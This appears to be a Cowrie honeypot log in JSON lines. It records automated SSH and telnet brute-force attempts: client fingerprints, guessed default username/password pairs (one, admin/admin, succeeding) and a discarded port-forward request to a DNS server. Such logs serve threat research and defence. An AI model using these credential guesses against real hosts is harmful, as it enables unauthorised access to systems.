{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:24.907815Z","src_ip":"4.194.4.255","session":"474cf76c7370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":21270,"dst_ip":"10.17.0.5","dst_port":22,"session":"31c9659769e3","protocol":"ssh","message":"New connection: 87.251.64.176:21270 (10.17.0.5:22) [session: 31c9659769e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:25.592239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:25.597577Z","src_ip":"87.251.64.176","session":"31c9659769e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:25.713358Z","src_ip":"87.251.64.176","session":"31c9659769e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pi","message":"login attempt [root/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:25.878659Z","src_ip":"4.194.4.255","session":"474cf76c7370","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:25.999545Z","src_ip":"87.251.64.176","session":"31c9659769e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:26.101636Z","session":"31c9659769e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:26.197847Z","src_ip":"87.251.64.176","session":"31c9659769e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:26.300216Z","src_ip":"87.251.64.176","session":"31c9659769e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:27.118681Z","src_ip":"4.194.4.255","session":"474cf76c7370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.221.127","src_port":51056,"dst_ip":"159.203.135.109","dst_port":22,"session":"93ed275d4dfa","protocol":"ssh","message":"New connection: 143.198.221.127:51056 (159.203.135.109:22) [session: 93ed275d4dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:37.588534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:37.593154Z","src_ip":"143.198.221.127","session":"93ed275d4dfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:37.849092Z","src_ip":"143.198.221.127","session":"93ed275d4dfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx#$","message":"login attempt [root/1qaz2wsx#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:38.895820Z","src_ip":"143.198.221.127","session":"93ed275d4dfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:40.153438Z","src_ip":"143.198.221.127","session":"93ed275d4dfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":48266,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bce8e48d57f","protocol":"ssh","message":"New connection: 103.148.100.146:48266 (159.203.135.109:22) [session: 3bce8e48d57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:58.102700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:58.111816Z","src_ip":"103.148.100.146","session":"3bce8e48d57f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:58.388033Z","src_ip":"103.148.100.146","session":"3bce8e48d57f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tiger","password":"tiger","message":"login attempt [tiger/tiger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:59.525956Z","src_ip":"103.148.100.146","session":"3bce8e48d57f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:00.806309Z","src_ip":"103.148.100.146","session":"3bce8e48d57f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.168.183.126","src_port":43959,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c443181baa2","protocol":"telnet","message":"New connection: 123.168.183.126:43959 (10.17.0.5:23) [session: 1c443181baa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:07.519628Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":35406,"dst_ip":"159.203.135.109","dst_port":22,"session":"99d43e962181","protocol":"ssh","message":"New connection: 125.21.53.232:35406 (159.203.135.109:22) [session: 99d43e962181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:07.817655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:07.823433Z","src_ip":"125.21.53.232","session":"99d43e962181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:08.021406Z","src_ip":"125.21.53.232","session":"99d43e962181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"miguel","password":"123456","message":"login attempt [miguel/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:08.843127Z","src_ip":"125.21.53.232","session":"99d43e962181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:10.043120Z","src_ip":"125.21.53.232","session":"99d43e962181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":53488,"dst_ip":"159.203.135.109","dst_port":22,"session":"d96d30e90f7a","protocol":"ssh","message":"New connection: 69.6.221.248:53488 (159.203.135.109:22) [session: d96d30e90f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:15.014335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:15.020125Z","src_ip":"69.6.221.248","session":"d96d30e90f7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:15.134412Z","src_ip":"69.6.221.248","session":"d96d30e90f7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kibana","password":"kibana","message":"login attempt [kibana/kibana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:15.621311Z","src_ip":"69.6.221.248","session":"d96d30e90f7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:16.737803Z","src_ip":"69.6.221.248","session":"d96d30e90f7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.46313190460205,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:20.982630Z","src_ip":"123.168.183.126","session":"1c443181baa2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":38088,"dst_ip":"10.17.0.5","dst_port":22,"session":"1330336edd65","protocol":"ssh","message":"New connection: 80.66.85.226:38088 (10.17.0.5:22) [session: 1330336edd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:43.085745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:43.090366Z","src_ip":"80.66.85.226","session":"1330336edd65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:43.180581Z","src_ip":"80.66.85.226","session":"1330336edd65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zzzz1111","message":"login attempt [root/zzzz1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:43.449769Z","src_ip":"80.66.85.226","session":"1330336edd65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:44.541933Z","src_ip":"80.66.85.226","session":"1330336edd65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":41072,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b4f3b1afc98","protocol":"ssh","message":"New connection: 125.21.53.232:41072 (159.203.135.109:22) [session: 1b4f3b1afc98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:54.118321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:54.124907Z","src_ip":"125.21.53.232","session":"1b4f3b1afc98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:54.335162Z","src_ip":"125.21.53.232","session":"1b4f3b1afc98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali123","message":"login attempt [kali/kali123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:55.205375Z","src_ip":"125.21.53.232","session":"1b4f3b1afc98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:56.417771Z","src_ip":"125.21.53.232","session":"1b4f3b1afc98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":59620,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a786d2efeaa","protocol":"ssh","message":"New connection: 62.133.63.178:59620 (10.17.0.5:22) [session: 3a786d2efeaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:57.439407Z"}
